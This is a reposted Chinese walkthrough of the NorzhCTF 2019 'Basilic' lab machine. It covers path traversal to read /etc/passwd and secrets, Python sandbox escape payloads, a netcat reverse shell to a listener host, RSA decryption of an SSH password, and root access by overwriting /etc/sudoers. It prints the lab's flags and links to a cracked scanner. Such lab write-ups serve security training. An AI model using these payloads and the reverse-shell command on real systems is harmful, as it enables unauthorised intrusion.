【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

admin 2022年12月22日13:24:19评论57 views字数 7212阅读24分2秒阅读模式

每日一靶机-Basilic

靶机:192.168.31.54


Basilic VM 作为 NorzhCTF 2019 的一部分创建。


一位 Python 开发人员已将网站上线。 

您的目标是危及服务器的不同用户并获得 root 权限。

有 4 个标志要检索,它们是 md5 格式。

  • 标志 1:“坚持是成功之路。”  - 查理·卓别林

  • 旗帜 2:“你总能逃出监狱。但自由呢?”  - 让-克里斯托夫·格兰热

  • 旗帜 3:“未来是门,过去是钥匙。”  - 维克多·雨果

  • 旗帜 4:“隐瞒真相的罪责不亚于编造谎言的罪责。”  - 艾蒂安·帕斯基尔


难度:中级/困难

类别:Web、Jail、Crypto、PrivEsc

难度级别:高

  1. Python 沙箱逃逸

  2. 解密 RSA

  3. /etc/sudoers 提权

IcMl0x824

信息收集

1.端口/指纹扫描

  • 5000端口 flask[0.14.1]/http/python[2.7.13]/werkzeug[0.14.1]

  • 22端口    openssh[7.4p1]

点进去发现5000端口是它对应的HTTP服务(是个用python写的web)

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

点击 contact me,得到一串类似于密钥的东西

[Contact]
E-mail : contact@basilic

-----BEGIN PUBLIC KEY-----
MD0wDQYJKoZIhvcNAQEBBQADLAAwKQIieHh4eHh4eHh4eHh4eHh4d4eHjw8PDw8P
Dw8PDw8PDw8PDwIDAQAB
-----END PUBLIC KEY-----

emmmm,不知道有啥用。陷入僵局,还是等扫描完成再判断如何前进吧

2.目录/敏感扫描

Dirsearch反馈如下

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

看来目录下基本没有敏感的地方,看来有一种可能,突破口会在URL上做文章

3.漏洞/风险扫描

丢上去让Yakit的插件跑Nulei的POC,我睡一觉,起来看结果

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

呵呵呵,应该会有结果的。

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

4.复刻/思考鸡脖

复现一下这个高危吧

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Server: Werkzeug/0.14.1 Python/2.7.13
Date: Sun, 18 Dec 2022 08:12:17 GMT
Content-Length: 1521

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
avahi-autoipd:x:105:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
basilic:x:1000:1000:basilic,,,:/home/basilic:/bin/bash
python:x:1001:1001:,,,:/home/python:/usr/bin/nologin

etc/passwd这些字段的解释:

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

可以看到是有root/basilic/python这三个用户的,那么我们的突破点,还是要研究这狗逼玩意用python写的web,看看啥情况。至于SSH爆破,太占用资源了,放到最后考虑吧。

漏洞利用

contact.html 换了随便乱输,看是否有报错

爆出/opt/webserver/basilic_dev_website.py信息

看来web 显示的东西都从/opt/webserver/这个目录来的

basilic_dev_website.py的源码给拉下来

view-source:http://192.168.31.54:5000/basilic_dev_website.py
#/usr/bin/env python
# -*- coding:utf-8 -*-

# First flag : 905459d7e2dbb3c47ab947faed7b12b0

import os
from flask import FlaskrequestjsonifyResponse
app = Flask(__name__)

@app.route('/')
def index():
with open('opt/webserver/index.html''r'as myfile:
return myfile.read()

@app.route('/<path:path>')
def load_page(path):
if path == 'json_calc':
  x = request.query_string
  g = {"__builtins__" : None# Removing all builtins for security
  l = {}
try:
  exec(xgl)
  return jsonify(l)
  except Exception,e:
  return jsonify({'error'str(e)})
  else :
try:
  with open('/opt/webserver/' + path'r'as myfile:
  return myfile.read()
  except Exception,e:
  return Response(__file__ + ' : ' + str(e), status=404)

if __name__ == '__main__':
       app.run(host= '0.0.0.0')

第一个 flag:

first flag:905459d7e2dbb3c47ab947faed7b12b0

分析源代码

如果路径是 json_calc 的时候,先给予一个参数,返回内容为字典形式(json 转化)

__builtins__被设为空 就是python自带的int str eval print以及import都不能用

g = {"__builtins__": None} 是用来计算数字的

Python沙箱逃逸

https://www.freebuf.com/articles/system/203208.html

学习了好久构造出于是乎语句:

json_calc?x=().__class__.__base__.__subclasses__()[0]" -O - 2>/dev/null
wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[0]" -O - 2>/dev/null

wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]" -O - 2>/dev/null

wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').popen('id').read()" -O - 2>/dev/null

wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/python')" -O - 2>/dev/null

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

在 python 中有一个 os.listdir(path) 方法可以遍历目录

wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').listdir('/home/python')" -O - 2>/dev/null

得到一个 secret.txt

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

还记得之前的目录遍历吗?就用它就对了

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

GET /../../../../../../../../../../home/python/secret.txt HTTP/1.1
Host: 192.168.31.54:5000
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

第二个 flag:

Second flag : 5d5e3d9ee45cd8975c940b675d4cbc15

我们主要用两个东西:搞到builtins和import os模块来弹shell就可以了

wget "http://192.168.31.54:5000/json_calc?x=().__class__.__base__.__subclasses__()[59]()._module.__builtins__['__import__']('os').spawnl(1,'/bin/nc','nc','192.168.31.19','4444','-e','/bin/sh')" -O - 2>/dev/null
nc -vnlp 4444
python -c 'import pty;pty.spawn("/bin/bash")'

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

在python用户自己的目录下,同样可以获取第二个flag

权限提升

到 basilic 的目录下查看一下

ls -la
cat secret.txt 发现没有权限

而.encrypted_password这个文件可能就与之前给我们的呢个密钥是呼应的

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

我猜测就是要根据这个去搞 basilic 的密码,然后用 SSH 去连 basilic 来提权

首先我怀疑这是一个 RSA 的私钥,咳咳咳,你说为啥,看我的上一篇文章

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

还有印象吗,观察这俩,可以确定下面的这玩意时公钥

-----BEGIN PUBLIC KEY-----
MD0wDQYJKoZIhvcNAQEBBQADLAAwKQIieHh4eHh4eHh4eHh4eHh4d4eHjw8PDw8P
Dw8PDw8PDw8PDwIDAQAB
-----END PUBLIC KEY-----

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

我们要把这个私钥给拉下来,防止复制时出现的编码问题

curl "http://192.168.31.54:5000/..%2f..%2f..%2f..%2fhome/basilic%2f.encrypted_password" > password

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

直接找个RSA 私钥工具爆破

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

就用这个

python3 RsaCtfTool.py --public pub.rsa --uncipherfile password

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

可以看到有 x00 我们把前面的去掉:

b’x00x02x8cxf0x0fBxd3"xe7||`)x95x00nevergonnagiveyouup’

留下nevergonnagiveyouup

我猜想这个是密码

ssh直接登录 拿到basilic用户

SSH登陆basilic用户

拿着密码成功登陆

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

第三个flag:

Third flag : e1e0d24d7fed3745e19bb0f90a769ea0

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

权限提升

首先尝试下 sudo -l 查看当前用户有哪些权限:

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

可以看到有一个 py 文件具有 root 权限:(root) /usr/bin/python /opt/calc_test.py

查看一下这个 python 文件源码:

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

可以确定这是利用了前面的 /opt/webserver/basilic_dev_website.py 那个计算模块

我们用 basicli 用户进行后续操作,有一个可用于提权的 /opt/calc_test.py 文件,它可以将内容写入到任何文件

其中要经过/opt/webserver/basilic_dev_website.py 这个文件

既然我们以root权限写任意文件,有个方法就是把basilic用户加到sudoers里去

我们直接return一个sudoers文本 然后sudo运行calc_test.py

basilic@basilic:/opt$ sudo /usr/bin/python /opt/calc_test.py
[sudo] password for basilic:
Calc : 1
Output file : /etc/sudoers

basilic@basilic:/opt$ sudo -l
User basilic may run the following commands on basilic:(ALL : ALL) ALL

basilic@basilic:/opt$ sudo su

root@basilic:~ cat /etc/sudoers
basilic ALL=(ALL:ALL) ALL
root@basilic:~

第四个 flag:

root@basilic:/opt# cd /root
root@basilic:~# ls
root.txt
root@basilic:~# cat root.txt

Fourth flag : 1e62c6ed43e92c1f0dcbcca01957d1bb

靶场下载地址


https://www.vulnhub.com/entry/norzhctf-2019-basilic,282/

Taps:





免责声明:由于传播、利用本公众号WIN哥学安全的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号WIN哥学安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,本号会立即删除并致歉。谢谢!


往期推荐

漏扫工具Invicti-Professional(原Netsparker)最新破解版

三款移动应用安全分析平台推荐

【Github搬砖】网络安全学习wiki

一次市hvv及省hvv的思路总结

Docker_Awvs15.x一键安装[支持版本更新]


漏洞扫描工具,684个poc,支持mac,linux,win

一款溯源取证工具——数千条规则、涵盖所有攻击类型检测并自动导出报告


适用于 2022 年红队行动的所有免费红队工具和模拟工具包

【附靶场环境】红队-多层内网环境渗透测试

Gxby(带1288poc后台回复0926)

Android渗透工具(建议收藏)


web安全手册(红队安全技能栈-下载)


APP漏洞挖掘(一)APP多种方式GetShell?




2个版本GUI_Tools的更新(V1.0魔改版&单身贵族版)

【宝藏】全网优秀攻防工具集成项目

扫码加好友,欢迎关注,领取资料↓↓↓ 

【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)   

原文始发于微信公众号(WIN哥学安全):【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月22日13:24:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【靶机渗透】Basilic(一个涉及到Python沙盒逃逸/RSA解密的勾八机器)http://cn-sec.com/archives/1473082.html

发表评论

匿名网友 填写信息